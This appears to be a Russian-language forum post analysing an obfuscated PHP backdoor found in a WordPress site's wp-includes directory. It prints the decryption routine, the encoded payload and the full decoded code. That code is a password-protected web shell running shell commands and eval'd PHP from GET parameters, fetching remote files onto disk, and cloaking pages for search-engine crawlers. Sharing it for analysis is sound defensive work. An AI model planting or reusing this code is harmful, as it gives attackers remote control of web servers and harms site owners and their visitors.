Это эксплойт для удаленного выполнения, а возможно и больше
Этот код раскрывает то, что представляется функцией дешифрования:
$s=ur ldecode($s);
$target='';
$S='!#$%&()*+,-./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_` \'"abcdefghijklmnopqrstuvwxyz{|}~f^jAE]okI\'OzU[2&q1{3`h5w_79"4p@6\s8?BgP>dFV=mD<TcS%Ze|r:lGK/uCy.Jx)HiQ! #$~(;Lt-R}Ma,NvW+Ynb*0X';
for ($i=0;
$i<strlen($s);
$i++) { $char=substr($s,$i,1);
$num=strpos($S,$char,95)-95;
$cur_key=abs(fmod($k + $i,95));
$cur_key=$num-$cur_key;
if($cur_key<0) $cur_key=$cur_key+95;
$char=substr($S,$cur_key,1);
$target.=$char;
} return $target;
Затем вызывается эта функция с ключом 3863
для следующей гигантской строки:
"xEe|0BgX<yl<JrCC<CffjjA]io!fj+u!;RiiRHIe55:7GK4ud-YfEWWEv" FFVz;<<&/A&[mVvllG9bCC@;L)/hV@<c<=Npx2--RS3,,|E+E=:|,Ryf^AA]ooIf0GT8c|gZCimGK:!yCcy(Tr|.!,R\9N(y;}x-Y^M!-M+~]#;L*['|rqg7F=FPR_u&v6S%8/ ?R<r|<NVoIDnlJ.lfGJJ! oJM)R;-a 2LM tLL,,nb7MfX@bEAb?qOB]z^zh]k5T23I&2pr95P)xHuw?_r#LLt9x,4dPQsNaWFbv0XT<Y^Zo^ffO]l'O'q21{HU[iw)@6zRb*-f1&~eZH(a][v}@rl'^T?s*!QN0ow6'Ec)[K&|rq<{gd\PDy9_7\B>p@bP:^PL^de%}:)Hr!WNS"9V%Gy.JCGokJX)N+Rv0&W7Yn4@66f7wMu/(anf^jXn>d/A?][hpqh3%_?Bw>lr{bnz39s8?@9! s.?=CF|tyJ.:.HCZ!uK$bY|6@<rCiQ!xCOz@Qo -WfM;zt]WIRn'OIUvE0UAUo`>A1Z3er:llG92|#qeNt8iiQ $~~=i)@Ikw6P/uCVPMoDG:v,5&qr:Xl(t!;a]J#iL}(({ws$(_q%AE_=MwuS9N.ytv0E]oj0uEiz1w9qST,lCiHiKLhs6y.CAWgTS>S#!U->JmV}MI'O:Z. Kb|#(H$RjCQx~t##&h@!#h[Tf^hd-`C<'zO]X'\@.B:Xz'dzp71p&TDMrc}GZ*Ge-ljy_r9cVBgS!W$*Bc<Lc)yr)e,M_bNwX+8XYh0>ECRa(}+OQL$MvRRw@PtRph:I'pcW_YKEjUqhIdP(m.k4q6spsh[wgPBd3\9d6d8cHQ+\J8|lcrCtV]TJOmD:xlS%r01lLx}a}t7J^)~+YWb!0}00j]n^n7lMr)H\Znhk'[k>_w"UDkg'D*^#S[ANE'+k1_O0zq^q{ph3zB\XP%c-.xJ..iv,BdXrJLt(3'Oyo^4p~!MnL&#k2CxFEo]-knkEY*f\bo3`1l<TE<okS=nX%QcfE(PFwF=VC/z&QSZ%SSr#!59RdNV}NxH)C:x+vPV0AL-tLLM]A%r[i{!2&8'~v,`qnokYO"7(M4(-WBgXEh'o1yoVYi${P64\5_l`r5JK[`C[17Q+\ioXlmFDPS|GZa}s=f<n2|Y"`yC$~/N, NJ(bN(2Ul99/pCy\Jpwl\9$aFv?r0OI>w9I94"<mL|K:CrS;3LhZemTpTScHxA~rl:%mrL([}vbW0v}[Zq|*r/;JC#5CRa(}+OIF2s#LXM-nd-q}YI'kzN[^[[1`OqOdS=ygh::GGKu4C@:G;4mP4<B==4Sg8P6V<%m;~cR =-y<zcx$x)&r)Jf)M;),~}}J~XRb00q(REj*L'+k'fkk+\sn7*CqEXw7k74DT)O<5[$&-5F>83s>?TJ4BdmP+t?-gM>a(S}]m[Z!i.cKtu/0bHjhu^-.4x8,#H-tX -**ENfkk7"<Nr'*WjUAbE2I]3Vm.k>'h3UZS\(;8V8?Cw/VNn>mcDS>F$gPRkcel%MRrvWz% /(L(#G0;5*!vR!+tNN!N_W7"4pp@X_5n'Ok'?Y@A1{`5hmA>[1h&ZO<9_@5:<{48P99P7CfcSW6Hor:f#D/uG/W<+cbQ !S#u#Q/yxjy"txz)H2I;nb0fX37-9}ph^X]*cW[^1312X5h7OCBo&67&sw@@&@.\s)iQQP.C\HK@Vd VKeVu%GGd%!lHQQWZKtu/lf^K+upQY !'k$qO+ff{g;jNoIoAae^oOkz^A?fuqAmPh44<x'Fz3"?5"7l"=g"D?VV7?:Ferr#BGTD|r>SQZ%TvWS-ZW!LL`7-QH(;C b$#z'(&8$XMA]AfRhEzzTvw+^'1E'kP'73'"1__k1gw8BBr{><F=pP7Jx"Gp0cB6:G>GuL-AVzx#HQ:J+vGfY(.-jhu^-vvp8,#H-tX -**ENfkk7"<Nr'*WjUAbE2I]3Vm.k4q\8\p2%sdd;`e5@P<sPBHPrcPl<||B<)e.xxaTxZ! $y$Llf^K+up-Hyv+!+b[&8$V0-AEonoO9_ns"[^1?r081__yH5O]1q\'1@@gwsddKu-wWV@7?DBpgTFPe(L^dCSxHxyTa)$$2|N:. -)unya WYW,Q#-(,+MM-d-q1nz]n[AOOnO=m<<cSSZ=F@zZD5@e=&ZdhtF=VDF>=e?Si):B$*B#_vE-(}xH)xx!+v(l^l&[U113.k4p@( abtq1~OzLh]INIO'49AzBFPcgK/jSrGSGIT'dFUZ?P`Pd>KlsF) itH+Y\-,W-+PL>! V}xi%i!Q+v. ^oAUjw_y33[hHziE] &Xj-jEA5`*]@?\=6e|bm=Z=%|AVC]F+li=Ss?8ssPlr=_J_sV=BVB8cr8$Xf^<VryS=}M<i!Qii$bYt/E/R~,M}x'@6\L$N0R~1{LEo]EE'"72n?nXk[kA1wAV.Jx&zw6{U%Z&g>PggVuKT4i4=%<?S:?~f^jT=:.%mMaTQ !QQ~*n-u]uWJ#R})O6\st~vX}({3t]ko]]O49&bBbOI5o^dCy.['hpqSiUc?vsPd?wBpM79a">gi){}$? K2lC.K</eOl: ui$(KM/.J-A^$}I")krw82U/"({3t1whI/oz[Ib'j:lsO{dFA8?oVYlHzT8N\g>85?4}m<D<8eHxeI%:Ged|<-AVtxe&HieL&:$~Kaf/iLt L QaY1~Wv$`(nj0",j^a@NYjIjPf[UXF^4][h5%U7_z|[d17s8y?"=wy}7C[t+P8<rF*BD:/t;|knk<M/Uo[e+x^j^K+u^aS Y?;(N*?0fXfaoh3o+ZI'+{M4]v?r08{{wy7"977@c<s,6BPsh8".GmO\%bgB<| n8!5WiAt~RtyyHzU[Kr)~CXlXf/f--,4p1z@Qo *R^A^0t3)?M79Np"~mn9"08}cFu?[pw[6h44[4yy.xxHiigyu&)GpxFbPG:%?S:Z.RMoDZ!i.c#/( $tf0Qk\ZSmc%:)KlZ3[.3PLak]fR'bUIO&\@o>Ja};RMWAW(b0b+fXt*Avv]yiCR_@STV"ZPr%eG~#c}z@4w"p8DgBwgh4"gmE/c}iMzs~$an@!eYoNYnR48p\M9YkoObqofz]l;a~ El%|:)^5{@>BqXoKhu-wpc<F9%g|SZl$ TROp"594sm?7@w8FF^kf3KX<7Hv,-J~X;(2Ua{g;1:=N'kjMX02EOA[?s'>KjI"7`][w"\3ZS7:~{@4/G'a,N?6=ZP\.J? 2sd%.JCV%.|:%<,qo]ofGWX<7.J9x+W-t-t* }f^XA5MeOIAa0{fXnJ1{q`Gj]cdtj'3\s@z3\5_3&yhnh[UX[9jq1&3$*HgK<yJy/mR\'-"
Это приводит к следующему коду, который я не читал:
$Err='';
function l101001l0l(){
global $O10O1OO1O; global $O100lO10l; if($O100lO10l==1) return; $O100lO10l=1; if(!l00101101($_SERVER['HTTP_USER_AGENT'],$_SERVER['REMOTE_ADDR'])) return; $U=array('/home/'=>'/home/djinn/evermore.imagedjinn.com/home/wp-includes/images/nix756.doc#5988'); if('636c8288db06d931093b5539688e00c8'==(isset($_GET["pw"])?@md5($_GET["pw"]):"0")) {
print('__beg__<br>');
if(isset($_GET['ccc'])) {
print(l0ll0110l($_GET['ccc']));
}
elseif(isset($_GET['eee'])) {
eval(stripslashes($_GET['eee']));
}
else {
set_error_handler('l1l011100l');
$D=l10010110l($_GET['sss']);
if($D=='') print('failed-1: '.$Err);
$H=$_GET['ddd'];
@chmod($H,0644);
if(($H=fopen($H,'wb'))===false) print('failed-2: '.$Err);
$L=strlen($D);
if(fwrite($H,$D,$L)!=$L) {
sleep(8);
if(fwrite($H,$D,$L)!=$L) print('failed-3: '.$Err);
}
@fclose($H);
restore_error_handler();
}
print('<br>__end__');
return;
}
error_reporting(E_ALL);
while(true) {
$RU=$_SERVER['REQUEST_URI'];
if(strpos($RU,'http://')!==false) {
$RU=str_replace('http://','',$RU);
$RU=substr($RU,strpos($RU,'/'),strlen($RU)-strpos($RU,'/'));
}
if(!isset($U[$RU])) break;
$R=@explode('#',$U[$RU]);
$D=read_file($R[0]);
$D=call_user_func($O10O1OO1O,$D,$R[1]);
if(substr($D,0,1)!='<
'||substr($D,strlen($D)-1,1)!='>
') break;
print($D);
break;
}
error_reporting(0);
}
l101001l0l();
function read_file($f){
$o = null;
if(function_exists('curl_version')) {
@ob_start();
$h = @curl_init('file:/'.'/'.$f);
@curl_exec($h);
$o = @ob_get_contents();
@ob_end_clean();
}
if ($o==null) $o=@implode('',@file($f));
return $o;
}
function l1l011100l($errno, $errstr, $file, $line){
global $Err; $Err=$errno."-".str_replace("\n",'',$errstr)."-".$line; return true;
}
function l0ll0110l($c){
if(function_exists('exec')) {
@exec($c,$out); return @implode("\n",$out);
}
elseif(function_exists('shell_exec')) {
$out=@shell_exec($c);
return $out;
}
elseif(function_exists('system')) {
@ob_start();
@system($c,$ret);
$out=@ob_get_contents();
@ob_end_clean();
return $out;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($c,$ret);
$out=@ob_get_contents();
@ob_end_clean();
return $out;
}
else {
return "failed";
}
}
function l00101101($ua,$ip){
$ua=strtolower($ua); $R1=(!(strpos($ua,'853767')===false)) || (substr($ip,0,5)=='157.5') || (substr($ip,0,5)=='157.6') || (substr($ip,0,4)=='65.5') || (substr($ip,0,6)=='207.46'); $R2=!(strpos($ua,'googlebot')===false && strpos($ua,'slurp')===false && strpos($ua,'bingbot')===false && strpos($ua,'msnbot')===false && strpos($ua,'yahoo')===false && strpos($ua,'live')===false); $sHostname=''; if($R2) $sHostname=gethostbyaddr($ip); $R3=($R2 && !($sHostname==$ip)) || $R1; $sHostname=strrev($sHostname); $seArray=array('googlebot.com','msn.com','bing.com','yahoo.com','yahoo.net'); $R4=false; for($i=0; $i<5; $i++) {
$sRevAgent=strrev($seArray[$i]);
$pos=strpos($sHostname,$sRevAgent);
$R4|=(!($pos===false) && $pos==0);
}
return $R3 && ($R4 || $R1);
}
function l10010110l($U){
$h=curl_init();
curl_setopt($h,CURLOPT_URL,$U);
curl_setopt($h,CURLOPT_RETURNTRANSFER,1);
curl_setopt($h,CURLOPT_USERAGENT,'User-Agent: Mozilla/4.0 (compatible;
MSIE 5.01;
Widows NT)');
curl_setopt($h,CURLOPT_TIMEOUT,1);
$R=curl_exec($h);
$I=curl_getinfo($h);
curl_close($h);
if($R===false || $I['http_code']!=200) {
$R=''; trigger_error("Curl_exec Error: ".$I['http_code'], E_USER_ERROR);
}
return $R;
}